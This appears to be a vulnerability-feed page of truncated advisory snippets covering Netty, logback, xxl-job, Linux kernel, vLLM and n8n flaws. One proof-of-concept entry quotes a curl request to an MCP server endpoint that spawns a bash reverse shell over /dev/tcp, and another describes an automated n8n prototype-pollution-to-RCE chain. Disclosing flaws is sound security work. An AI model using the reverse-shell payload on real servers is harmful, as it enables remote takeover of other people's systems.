netty: io.netty/netty-codec-http: Netty: HTTP Request Smuggling due to improper handling of conflicting HTTP/1.0 headers

A flaw was found in Netty's HttpObjectDecoder. A remote attacker can exploit this by sending a specially crafted HTTP/1.0 request that includes both Transfer-Encoding: chunked and Content-Length headers. While Netty correctly strips the conflicting Content-Length header for HTTP/1.1 messages, thi...

Security Bulletin: Due to use of QOS.CH logback, IBM Cloud Pak System is affected by server-side request forgery and arbitrary code execution

Summary Due to use of QOS.CH logback IBM Cloud Pak System is affected by server-side request forgery and arbitrary code execution CVE-2024-12801, CVE-2024-12798. Those issues were addressed by IBM Cloud Pak System v2.3.6.2. Vulnerability Details CVEID:CVE-2024-12801 DESCRIPTION: Server-Side Reque...

CVE-2026-26718

描述 摘要 xxl-job-admin Web 应用程序中存在跨站请求伪造（CSRF）漏洞，攻击者可利用该漏洞对 Glue IDE Shell 脚本进行未经授权的修改。受影响的端点缺少正确的 CSRF 令牌验证，并通过宽松的请求映射接受任意 HTTP 方法。 受影响产品 xxl-job history.pushState'', '', '/'; document.forms0.submit;...

AZL-106434 CVE-2026-98328 affecting package kernel 6.6.157.1-1

In the Linux kernel, the following vulnerability has been resolved: wifi: mac80211: add HE 6 GHz capability in the scan elems len The HE 6 GHz Band Capability element is in the probe request for every band if 6 GHz is supported, so add the size to scanieslen. Otherwise, building probe request...

DEBIAN-CVE-2026-98228

In the Linux kernel, the following vulnerability has been resolved: mips: select CONFIGWEAKREORDERINGBEYONDLLSC from CONFIGEYEQ On I6500 CPU cores, lld and scd give no ordering guarantees same as all other instructions. To respect the assumption that archcmpxchg is fully ordered, we must inject...

CVE-2026-98228

In the Linux kernel, the following vulnerability has been resolved: mips: select CONFIGWEAKREORDERINGBEYONDLLSC from CONFIGEYEQ On I6500 CPU cores, lld and scd give no ordering guarantees same as all other instructions. To respect the assumption that archcmpxchg is fully ordered, we must inject...

UBUNTU-CVE-2026-98228

In the Linux kernel, the following vulnerability has been resolved: mips: select CONFIGWEAKREORDERINGBEYONDLLSC from CONFIGEYEQ On I6500 CPU cores, lld and scd give no ordering guarantees same as all other instructions. To respect the assumption that archcmpxchg is fully ordered, we must inject...

CVE-2026-98228

In the Linux kernel, the following vulnerability has been resolved: mips: select CONFIGWEAKREORDERINGBEYONDLLSC from CONFIGEYEQ On I6500 CPU cores, lld and scd give no ordering guarantees same as all other instructions. To respect the assumption that archcmpxchg is fully ordered, we must inject...

GHSA-35MR-4567-66VG vulnerabilities

Vulnerabilities for packages: request-1276...

GHSA-XRVJ-V92F-53GJ vulnerabilities

Vulnerabilities for packages: request-1276...

CVE-2026-47734 vulnerabilities

Vulnerabilities for packages: request-1276...

GHSA-8MCX-5RQC-VHMF vulnerabilities

Vulnerabilities for packages: request-1276...

CVE-2026-23744-PoC

CVE-2026-23744-PoC MCP Server の脆弱性に関する PoC。 適切な本文を持つ投稿部分を自動化しました。 脆弱なパス: /api/mcp/connect curl による方法: curl http://evil.com:6274/api/mcp/connect --header "Content-Type: application/json" --data '"serverConfig":"command":"bash","args":"-c","bash -i & /dev/tcp/TUIP/TUPUERTO...

CVE-2026-98341 wifi: cfg80211: don't free driver-owned scan requests

In the Linux kernel, the following vulnerability has been resolved: wifi: cfg80211: don't free driver-owned scan requests When an interface goes down while a scan is running, cfg80211 completes the scan towards userspace and frees the scan request. However, the driver can be convinced that it own...

CVE-2026-98328 wifi: mac80211: add HE 6 GHz capability in the scan elems len

In the Linux kernel, the following vulnerability has been resolved: wifi: mac80211: add HE 6 GHz capability in the scan elems len The HE 6 GHz Band Capability element is in the probe request for every band if 6 GHz is supported, so add the size to scanieslen. Otherwise, building probe request...

CVE-2026-98328 wifi: mac80211: add HE 6 GHz capability in the scan elems len

In the Linux kernel, the following vulnerability has been resolved: wifi: mac80211: add HE 6 GHz capability in the scan elems len The HE 6 GHz Band Capability element is in the probe request for every band if 6 GHz is supported, so add the size to scanieslen. Otherwise, building probe request...

CVE-2026-98228 mips: select CONFIG_WEAK_REORDERING_BEYOND_LLSC from CONFIG_EYEQ

In the Linux kernel, the following vulnerability has been resolved: mips: select CONFIGWEAKREORDERINGBEYONDLLSC from CONFIGEYEQ On I6500 CPU cores, lld and scd give no ordering guarantees same as all other instructions. To respect the assumption that archcmpxchg is fully ordered, we must inject...

CVE-2026-98228 mips: select CONFIG_WEAK_REORDERING_BEYOND_LLSC from CONFIG_EYEQ

In the Linux kernel, the following vulnerability has been resolved: mips: select CONFIGWEAKREORDERINGBEYONDLLSC from CONFIGEYEQ On I6500 CPU cores, lld and scd give no ordering guarantees same as all other instructions. To respect the assumption that archcmpxchg is fully ordered, we must inject...

CVE-2026-105775

A flaw was found in vLLM. An authenticated remote attacker can send a crafted request that triggers an out-of-bounds read in the completions request handler. This issue can cause the service to crash, resulting in a Denial of Service DoS...

CVE-2026-44789-n8n-PrototypePollution-RCE

CVE-2026-44789 — n8n HTTPリクエストノード ページネーション プロトタイプ汚染 → RCE 認証された n8n 公開アドバイザリでは、汚染が「他の手法と組み合わせることでRCEにつながる可能性がある」とだけ述べており、ガジェットは開示されていません。このリポジトリは、具体的で検証済みのプロトタイプ汚染→RCEチェーンを文書化し、自動化します。 1. 汚染プリミティブ packages/nodes-base/nodes/HttpRequest/V3/HttpRequestV3.node.ts、ページネーションモード...